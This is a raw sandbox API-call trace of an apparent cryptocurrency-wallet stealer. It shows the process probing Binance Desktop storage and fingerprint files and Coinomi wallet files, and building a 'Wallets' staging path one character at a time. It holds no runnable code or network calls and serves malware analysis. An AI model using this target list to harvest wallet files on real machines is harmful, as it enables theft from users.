[0055.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.125] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67d998
[0055.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x67d998, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 2
[0055.125] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d998 | out: hHeap=0x670000) returned 1
[0055.125] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db78
[0055.125] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Binance\\P" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\binance\\p"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0055.125] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db78 | out: hHeap=0x670000) returned 1
[0055.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.125] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67d968
[0055.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x67d968, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 2
[0055.125] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d968 | out: hHeap=0x670000) returned 1
[0055.125] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db78
[0055.125] lstrcpyA (in: lpString1=0x19a050, lpString2="\\Wallets\\Binance Desktop\\P" | out: lpString1="\\Wallets\\Binance Desktop\\P") returned="\\Wallets\\Binance Desktop\\P"
[0055.125] lstrlenA (lpString="/Wallets/Binance Desktop/P") returned 26
[0055.125] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Binance\\P" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\binance\\p"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0055.125] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db78 | out: hHeap=0x670000) returned 1
[0055.126] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db40 | out: hHeap=0x670000) returned 1
[0055.126] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0055.126] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67efa8 | out: hHeap=0x670000) returned 1
[0055.126] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67efa8
[0055.126] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x199db8 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0055.126] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db18
[0055.126] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db50
[0055.126] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x67db88
[0055.126] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db50 | out: hHeap=0x670000) returned 1
[0055.126] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db88, cbMultiByte=66, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66
[0055.126] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x84) returned 0x6704a0
[0055.126] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db88, cbMultiByte=66, lpWideCharStr=0x6704a0, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Binance\\simple-storage.json") returned 66
[0055.126] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0xe055320
[0055.126] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.127] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Binance\\simple-storage.json" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\binance\\simple-storage.json"), lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="X", cAlternateFileName="")) returned 0xffffffff
[0055.127] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xe055320 | out: hHeap=0x670000) returned 1
[0055.127] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x67db50
[0055.127] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="X", cAlternateFileName="")) returned 0
[0055.127] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db88 | out: hHeap=0x670000) returned 1
[0055.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="X", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.127] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67da08
[0055.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="X", cchWideChar=2, lpMultiByteStr=0x67da08, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X", lpUsedDefaultChar=0x0) returned 2
[0055.127] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da08 | out: hHeap=0x670000) returned 1
[0055.127] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db78
[0055.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="X", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.127] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67d978
[0055.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="X", cchWideChar=2, lpMultiByteStr=0x67d978, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X", lpUsedDefaultChar=0x0) returned 2
[0055.127] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d978 | out: hHeap=0x670000) returned 1
[0055.127] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67dbb0
[0055.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67dbb0, cbMultiByte=48, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 48
[0055.127] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x6704a0
[0055.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67dbb0, cbMultiByte=48, lpWideCharStr=0x6704a0, cchWideChar=48 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Binance\\X") returned 48
[0055.127] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x670508
[0055.127] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.128] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Binance\\X" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\binance\\x")) returned 0xffffffff
[0055.128] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x670508 | out: hHeap=0x670000) returned 1
[0055.128] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dbb0 | out: hHeap=0x670000) returned 1
[0055.128] lstrcatA (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\"
[0055.128] lstrcatA (in: lpString1="\\", lpString2="W" | out: lpString1="\\W") returned="\\W"
[0055.128] lstrcatA (in: lpString1="\\W", lpString2="a" | out: lpString1="\\Wa") returned="\\Wa"
[0055.128] lstrcatA (in: lpString1="\\Wa", lpString2="l" | out: lpString1="\\Wal") returned="\\Wal"
[0055.128] lstrcatA (in: lpString1="\\Wal", lpString2="l" | out: lpString1="\\Wall") returned="\\Wall"
[0055.128] lstrcatA (in: lpString1="\\Wall", lpString2="e" | out: lpString1="\\Walle") returned="\\Walle"
[0055.128] lstrcatA (in: lpString1="\\Walle", lpString2="t" | out: lpString1="\\Wallet") returned="\\Wallet"
[0055.128] lstrcatA (in: lpString1="\\Wallet", lpString2="s" | out: lpString1="\\Wallets") returned="\\Wallets"
[0055.128] lstrcatA (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\"
[0055.128] lstrcatA (in: lpString1="\\Wallets\\", lpString2="Binance Desktop" | out: lpString1="\\Wallets\\Binance Desktop") returned="\\Wallets\\Binance Desktop"
[0055.128] lstrcatA (in: lpString1="\\Wallets\\Binance Desktop", lpString2="\\" | out: lpString1="\\Wallets\\Binance Desktop\\") returned="\\Wallets\\Binance Desktop\\"
[0055.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="X", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.128] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67da48
[0055.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="X", cchWideChar=2, lpMultiByteStr=0x67da48, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X", lpUsedDefaultChar=0x0) returned 2
[0055.128] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da48 | out: hHeap=0x670000) returned 1
[0055.128] lstrcatA (in: lpString1="\\Wallets\\Binance Desktop\\", lpString2="X" | out: lpString1="\\Wallets\\Binance Desktop\\X") returned="\\Wallets\\Binance Desktop\\X"
[0055.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="X", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.128] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67da88
[0055.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="X", cchWideChar=2, lpMultiByteStr=0x67da88, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X", lpUsedDefaultChar=0x0) returned 2
[0055.128] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da88 | out: hHeap=0x670000) returned 1
[0055.129] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67dbb0
[0055.129] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Binance\\X" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\binance\\x"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0055.129] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dbb0 | out: hHeap=0x670000) returned 1
[0055.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="X", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.129] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67da18
[0055.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="X", cchWideChar=2, lpMultiByteStr=0x67da18, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X", lpUsedDefaultChar=0x0) returned 2
[0055.129] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da18 | out: hHeap=0x670000) returned 1
[0055.129] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67dbb0
[0055.129] lstrcpyA (in: lpString1=0x19a050, lpString2="\\Wallets\\Binance Desktop\\X" | out: lpString1="\\Wallets\\Binance Desktop\\X") returned="\\Wallets\\Binance Desktop\\X"
[0055.129] lstrlenA (lpString="/Wallets/Binance Desktop/X") returned 26
[0055.129] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Binance\\X" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\binance\\x"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0055.129] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dbb0 | out: hHeap=0x670000) returned 1
[0055.129] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db78 | out: hHeap=0x670000) returned 1
[0055.129] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db50 | out: hHeap=0x670000) returned 1
[0055.129] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0055.130] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67efa8 | out: hHeap=0x670000) returned 1
[0055.130] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67efa8
[0055.130] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x199db8 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0055.130] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db18
[0055.130] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db50
[0055.130] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x47) returned 0x67db88
[0055.130] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db50 | out: hHeap=0x670000) returned 1
[0055.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db88, cbMultiByte=63, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63
[0055.130] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7e) returned 0x6704a0
[0055.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db88, cbMultiByte=63, lpWideCharStr=0x6704a0, cchWideChar=63 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Binance\\.finger-print.fp") returned 63
[0055.130] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0xe055320
[0055.130] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.130] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Binance\\.finger-print.fp" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\binance\\.finger-print.fp"), lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="P", cAlternateFileName="")) returned 0xffffffff
[0055.130] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xe055320 | out: hHeap=0x670000) returned 1
[0055.130] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x67db50
[0055.130] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="P", cAlternateFileName="")) returned 0
[0055.131] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db88 | out: hHeap=0x670000) returned 1
[0055.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.131] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67d9a8
[0055.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x67d9a8, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 2
[0055.131] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9a8 | out: hHeap=0x670000) returned 1
[0055.131] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db78
[0055.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.131] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67d9c8
[0055.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x67d9c8, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 2
[0055.131] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9c8 | out: hHeap=0x670000) returned 1
[0055.131] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67dbb0
[0055.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67dbb0, cbMultiByte=48, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 48
[0055.131] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x6704a0
[0055.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67dbb0, cbMultiByte=48, lpWideCharStr=0x6704a0, cchWideChar=48 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Binance\\P") returned 48
[0055.131] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.131] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Binance\\P" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\binance\\p")) returned 0xffffffff
[0055.131] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x670508 | out: hHeap=0x670000) returned 1
[0055.131] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dbb0 | out: hHeap=0x670000) returned 1
[0055.131] lstrcatA (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\"
[0055.131] lstrcatA (in: lpString1="\\", lpString2="W" | out: lpString1="\\W") returned="\\W"
[0055.132] lstrcatA (in: lpString1="\\W", lpString2="a" | out: lpString1="\\Wa") returned="\\Wa"
[0055.132] lstrcatA (in: lpString1="\\Wa", lpString2="l" | out: lpString1="\\Wal") returned="\\Wal"
[0055.132] lstrcatA (in: lpString1="\\Wal", lpString2="l" | out: lpString1="\\Wall") returned="\\Wall"
[0055.132] lstrcatA (in: lpString1="\\Wall", lpString2="e" | out: lpString1="\\Walle") returned="\\Walle"
[0055.132] lstrcatA (in: lpString1="\\Walle", lpString2="t" | out: lpString1="\\Wallet") returned="\\Wallet"
[0055.132] lstrcatA (in: lpString1="\\Wallet", lpString2="s" | out: lpString1="\\Wallets") returned="\\Wallets"
[0055.132] lstrcatA (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\"
[0055.132] lstrcatA (in: lpString1="\\Wallets\\", lpString2="Binance Desktop" | out: lpString1="\\Wallets\\Binance Desktop") returned="\\Wallets\\Binance Desktop"
[0055.132] lstrcatA (in: lpString1="\\Wallets\\Binance Desktop", lpString2="\\" | out: lpString1="\\Wallets\\Binance Desktop\\") returned="\\Wallets\\Binance Desktop\\"
[0055.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x67dad8, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 2
[0055.132] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dad8 | out: hHeap=0x670000) returned 1
[0055.132] lstrcatA (in: lpString1="\\Wallets\\Binance Desktop\\", lpString2="P" | out: lpString1="\\Wallets\\Binance Desktop\\P") returned="\\Wallets\\Binance Desktop\\P"
[0055.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x67d948, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 2
[0055.132] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d948 | out: hHeap=0x670000) returned 1
[0055.132] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Binance\\P" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\binance\\p"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0055.132] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dbb0 | out: hHeap=0x670000) returned 1
[0055.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x67da48, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 2
[0055.132] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da48 | out: hHeap=0x670000) returned 1
[0055.132] lstrcpyA (in: lpString1=0x19a050, lpString2="\\Wallets\\Binance Desktop\\P" | out: lpString1="\\Wallets\\Binance Desktop\\P") returned="\\Wallets\\Binance Desktop\\P"
[0055.132] lstrlenA (lpString="/Wallets/Binance Desktop/P") returned 26
[0055.132] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Binance\\P" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\binance\\p"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0055.132] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dbb0 | out: hHeap=0x670000) returned 1
[0055.133] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db78 | out: hHeap=0x670000) returned 1
[0055.133] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x199db8 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0
[0055.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=69, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69
[0055.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=69, lpWideCharStr=0x67db50, cchWideChar=69 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Coinomi\\Coinomi\\wallets\\*.wallet") returned 69
[0055.133] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Coinomi\\Coinomi\\wallets\\*.wallet" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coinomi\\coinomi\\wallets\\*.wallet"), lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="h", cAlternateFileName="")) returned 0xffffffff
